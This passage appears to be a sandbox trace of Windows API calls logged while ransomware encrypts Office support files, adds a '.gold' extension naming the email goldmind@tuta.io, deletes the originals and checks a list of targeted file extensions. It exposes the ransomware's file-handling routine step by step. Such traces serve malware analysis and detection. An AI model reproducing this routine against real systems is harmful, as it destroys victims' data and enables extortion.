[0038.915] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0038.918] GetLastError () returned 0x0 [0038.919] ReadFile (in: hFile=0x1fc, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x251f, lpOverlapped=0x0) returned 1 [0038.920] WriteFile (in: hFile=0x1b0, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0x2520, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0x2520, lpOverlapped=0x0) returned 1 [0038.921] ReadFile (in: hFile=0x1fc, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x0, lpOverlapped=0x0) returned 1 [0038.921] WriteFile (in: hFile=0x1b0, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xec, lpOverlapped=0x0) returned 1 [0038.921] SetEndOfFile (hFile=0x1b0) returned 1 [0038.921] CloseHandle (hObject=0x1b0) returned 1 [0038.922] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0038.922] SetEndOfFile (hFile=0x1fc) returned 1 [0038.922] CloseHandle (hObject=0x1fc) returned 1 [0038.922] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0038.923] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml")) returned 1 [0038.923] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0038.923] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0038.923] lstrlenW (lpString=".doc") returned 4 [0038.923] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0038.923] lstrlenW (lpString=".docx") returned 5 [0038.923] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0038.923] lstrlenW (lpString=".pdf") returned 4 [0038.923] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0038.923] lstrlenW (lpString=".xls") returned 4 [0038.923] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0038.923] lstrlenW (lpString=".xlsx") returned 5 [0038.923] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0038.923] lstrlenW (lpString=".ppt") returned 4 [0038.923] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0038.923] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0038.923] lstrlenW (lpString=".zip") returned 4 [0038.923] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0038.923] lstrlenW (lpString=".rar") returned 4 [0038.923] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0038.923] lstrlenW (lpString=".bz2") returned 4 [0038.923] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0038.923] lstrlenW (lpString=".7z") returned 3 [0038.923] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0038.923] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0038.923] lstrlenW (lpString=".dbf") returned 4 [0038.923] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0038.923] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0038.923] lstrlenW (lpString=".1cd") returned 4 [0038.923] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0038.923] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0038.923] lstrlenW (lpString=".jpg") returned 4 [0038.923] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0038.923] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0038.923] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0038.923] lstrlenW (lpString=".doc") returned 4 [0038.923] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0038.923] lstrlenW (lpString=".docx") returned 5 [0038.923] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0038.924] lstrlenW (lpString=".pdf") returned 4 [0038.924] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0038.924] lstrlenW (lpString=".xls") returned 4 [0038.924] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0038.924] lstrlenW (lpString=".xlsx") returned 5 [0038.924] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0038.924] lstrlenW (lpString=".ppt") returned 4 [0038.924] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0038.924] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0038.924] lstrlenW (lpString=".zip") returned 4 [0038.924] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0038.924] lstrlenW (lpString=".rar") returned 4 [0038.924] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0038.924] lstrlenW (lpString=".bz2") returned 4 [0038.924] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0038.924] lstrlenW (lpString=".7z") returned 3 [0038.924] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0038.924] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0038.924] lstrlenW (lpString=".dbf") returned 4 [0038.924] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0038.924] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0038.924] lstrlenW (lpString=".1cd") returned 4 [0038.924] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0038.924] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0038.924] lstrlenW (lpString=".jpg") returned 4 [0038.924] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0038.924] lstrcmpiW (lpString1=".XML", lpString2=".gold") returned 1 [0038.924] lstrlenW (lpString="SETUP.XML") returned 9 [0038.924] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0038.925] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=2424) returned 1 [0038.925] CloseHandle (hObject=0x1fc) returned 1 [0038.925] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml")) returned 0x20 [0038.925] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0038.925] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0038.925] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0038.925] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0038.925] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0038.925] GetLastError () returned 0x0 [0038.925] ReadFile (in: hFile=0x1fc, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x978, lpOverlapped=0x0) returned 1 [0038.927] WriteFile (in: hFile=0x1b0, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0x980, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0x980, lpOverlapped=0x0) returned 1 [0038.927] ReadFile (in: hFile=0x1fc, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x0, lpOverlapped=0x0) returned 1 [0038.927] WriteFile (in: hFile=0x1b0, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0038.927] SetEndOfFile (hFile=0x1b0) returned 1 [0038.928] CloseHandle (hObject=0x1b0) returned 1 [0038.928] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0038.928] SetEndOfFile (hFile=0x1fc) returned 1 [0038.929] CloseHandle (hObject=0x1fc) returned 1 [0038.929] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0038.929] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml")) returned 1 [0038.930] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0038.930] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0038.930] lstrlenW (lpString=".doc") returned 4 [0038.930] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0038.930] lstrlenW (lpString=".docx") returned 5 [0038.930] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0038.930] lstrlenW (lpString=".pdf") returned 4 [0038.930] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0038.930] lstrlenW (lpString=".xls") returned 4 [0038.930] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0038.930] lstrlenW (lpString=".xlsx") returned 5 [0038.930] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0038.930] lstrlenW (lpString=".ppt") returned 4 [0038.930] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0038.930] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0038.930] lstrlenW (lpString=".zip") returned 4 [0038.930] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0038.930] lstrlenW (lpString=".rar") returned 4 [0038.930] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0038.930] lstrlenW (lpString=".bz2") returned 4 [0038.930] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0038.930] lstrlenW (lpString=".7z") returned 3 [0038.930] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0038.930] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0038.930] lstrlenW (lpString=".dbf") returned 4 [0038.930] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0038.930] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0038.930] lstrlenW (lpString=".1cd") returned 4 [0038.930] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0038.930] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0038.930] lstrlenW (lpString=".jpg") returned 4 [0038.930] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0038.930] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0038.930] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0038.930] lstrlenW (lpString=".doc") returned 4 [0038.930] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0038.930] lstrlenW (lpString=".docx") returned 5 [0038.930] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0038.930] lstrlenW (lpString=".pdf") returned 4 [0038.930] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0038.930] lstrlenW (lpString=".xls") returned 4 [0038.930] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0038.930] lstrlenW (lpString=".xlsx") returned 5 [0038.930] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0038.930] lstrlenW (lpString=".ppt") returned 4 [0038.930] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0038.930] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0038.930] lstrlenW (lpString=".zip") returned 4 [0038.930] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0038.931] lstrlenW (lpString=".rar") returned 4 [0038.931] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0038.931] lstrlenW (lpString=".bz2") returned 4 [0038.931] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0038.931] lstrlenW (lpString=".7z") returned 3 [0038.931] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0038.931] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0038.931] lstrlenW (lpString=".dbf") returned 4 [0038.931] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0038.931] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0038.931] lstrlenW (lpString=".1cd") returned 4 [0038.931] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0038.931] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0038.931] lstrlenW (lpString=".jpg") returned 4 [0038.931] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0038.931] lstrcmpiW (lpString1=".XML", lpString2=".gold") returned 1 [0038.931] lstrlenW (lpString="WordMUI.XML") returned 11 [0038.931] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0038.933] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=1800) returned 1 [0038.933] CloseHandle (hObject=0x1fc) returned 1 [0038.933] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml")) returned 0x20 [0038.933] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0038.933] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0038.933] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0038.933] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0038.933] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0038.936] GetLastError () returned 0x0 [0038.936] ReadFile (in: hFile=0x1fc, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x708, lpOverlapped=0x0) returned 1 [0039.329] WriteFile (in: hFile=0x1b0, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0x710, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0x710, lpOverlapped=0x0) returned 1 [0039.330] ReadFile (in: hFile=0x1fc, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x0, lpOverlapped=0x0) returned 1 [0039.330] WriteFile (in: hFile=0x1b0, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xea, lpOverlapped=0x0) returned 1 [0039.330] SetEndOfFile (hFile=0x1b0) returned 1 [0039.330] CloseHandle (hObject=0x1b0) returned 1 [0039.331] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0039.331] SetEndOfFile (hFile=0x1fc) returned 1 [0039.331] CloseHandle (hObject=0x1fc) returned 1 [0039.332] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0039.332] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml")) returned 1 [0039.332] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0039.332] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0039.332] lstrlenW (lpString=".doc") returned 4 [0039.332] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0039.332] lstrlenW (lpString=".docx") returned 5 [0039.332] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0039.332] lstrlenW (lpString=".pdf") returned 4 [0039.332] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0039.332] lstrlenW (lpString=".xls") returned 4 [0039.332] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0039.332] lstrlenW (lpString=".xlsx") returned 5 [0039.332] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0039.332] lstrlenW (lpString=".ppt") returned 4 [0039.332] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0039.332] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0039.332] lstrlenW (lpString=".zip") returned 4 [0039.332] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0039.332] lstrlenW (lpString=".rar") returned 4 [0039.332] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0039.332] lstrlenW (lpString=".bz2") returned 4 [0039.332] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0039.332] lstrlenW (lpString=".7z") returned 3 [0039.332] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0039.332] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0039.332] lstrlenW (lpString=".dbf") returned 4 [0039.332] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0039.332] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0039.333] lstrlenW (lpString=".1cd") returned 4 [0039.333] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0039.333] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0039.333] lstrlenW (lpString=".jpg") returned 4 [0039.333] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0039.333] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0039.333] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0039.333] lstrlenW (lpString=".doc") returned 4 [0039.333] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0039.333] lstrlenW (lpString=".docx") returned 5 [0039.333] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0039.333] lstrlenW (lpString=".pdf") returned 4 [0039.333] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0039.333] lstrlenW (lpString=".xls") returned 4 [0039.333] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0039.333] lstrlenW (lpString=".xlsx") returned 5 [0039.333] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0039.333] lstrlenW (lpString=".ppt") returned 4 [0039.333] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0039.333] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0039.333] lstrlenW (lpString=".zip") returned 4 [0039.333] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0039.333] lstrlenW (lpString=".rar") returned 4 [0039.333] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0039.333] lstrlenW (lpString=".bz2") returned 4 [0039.333] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0039.333] lstrlenW (lpString=".7z") returned 3 [0039.333] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0039.333] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0039.333] lstrlenW (lpString=".dbf") returned 4 [0039.333] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0039.333] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0039.333] lstrlenW (lpString=".1cd") returned 4 [0039.333] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0039.333] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0039.333] lstrlenW (lpString=".jpg") returned 4 [0039.333] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0039.333] lstrcmpiW (lpString1=".XML", lpString2=".gold") returned 1 [0039.333] lstrlenW (lpString="DATES.XML") returned 9 [0039.333] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0039.334] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=8918) returned 1 [0039.334] CloseHandle (hObject=0x1fc) returned 1 [0039.334] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart 